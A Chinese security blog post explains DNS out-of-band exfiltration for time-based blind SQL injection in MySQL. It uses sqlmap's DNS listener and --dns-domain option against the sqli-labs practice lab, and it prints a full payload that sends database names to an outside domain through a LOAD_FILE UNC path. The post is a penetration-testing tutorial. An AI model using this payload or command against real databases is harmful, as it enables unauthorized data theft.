dnslog注入提升SQL时间盲注效率

dnslog注入提升SQL时间盲注效率

日常渗透测试工作中,经常会遇到sql时间盲注的case。大家都知道时间盲注的效率非常慢,还要受到网络延迟的影响。dnslog注入虽然能极大提升时间盲注的效率,但是在实战中受环境影响还是有很多限制。

需要自行购买域名并配置域名服务器为自己的vps,或者使用第三方dnslog平台。

dnslog注入前提条件

  1. 只支持Windows系统、UNC路径
  2. secure_file_priv设置为空

其中第二点不是默认配置。

secure_file_priv含义

  • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

需要修改my.ini进行设置。

未开启的情况下load_file会返回null。

dnslog手工注入

dnslog注入需要第三方dnslog平台来接收dns外带的数据。但其实可以不用第三方的dnslog平台,sqlmap自带了dns接收的模块。

该模块位于sqlmap的目录下的:./lib/request/dns.py

运行会监听53端口获取dns请求信息。

[root@VM-4-7-centos ~]# cd sqlmap/
[root@VM-4-7-centos sqlmap]# ls
data  doc  extra  lib  LICENSE  plugins  README.md  sqlmapapi.py sqlmapapi.yaml  sqlmap.conf  sqlmap.py  tamper  thirdparty
[root@VM-4-7-centos sqlmap]# python3 ./lib/request/dns.py

通过dnslog外带的方式得到了当前数据库名和数据库版本信息。

sqlmap使用–dns-domain参数进行注入

这里以sqli-lab的第9关为例,本题为时间盲注。但是时间盲注效率太低,换用dnslog注入速度就快很多了。

python3 sqlmap.py -u "http://YOUR-URL/sqli/Less-9/?id=1*" --batch  --dns-domain=YOUR-DOMAIN  -v3  --dbs 

这里我是用的自己的域名,必须将域名服务器指向为该vps的ip

如果目标不支持dnslog注入,sqlmap则会报错:

[ERROR] data retrieval through DNS channel failed. Turning off DNS exfiltration support

payload分析

1 AND (
SELECT 8357
FROM (
	SELECT SLEEP(5 - IF(ORD(MID((
			SELECT LOAD_FILE(CONCAT('\\\\jLp.', (
					SELECT HEX(MID(DISTINCT(IFNULL(CAST(schema_name AS NCHAR), 0x20)), 1, 31))
					FROM INFORMATION_SCHEMA.SCHEMATA
					LIMIT 4, 1
				),'.uYO.ack.red\\JCKK'))
		), 9, 1)) > 327, 0, 5))
) OSfI
)-- EVDk

sqlmap的做法就是把通过多级域名的方式将查询的内容拼接在域名中。以上面的sql语句为例最终生成dns请求为:

\\jLp.查询结果.uYO.ack.red\JCKK

服务端收到请求后再把多次查询的结果从域名中取出来拼接,完成dnslog注入。

dnslog注入的优先级问题

[WARNING] option ‘–dns-domain’ will be ignored as faster techniques are usable (EU)

当一个注入中指定–dns-domain参数,但sqlmap发现了其他效率更高的方式sqlmap会忽略dns注入方式,采用其他高效的注入。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论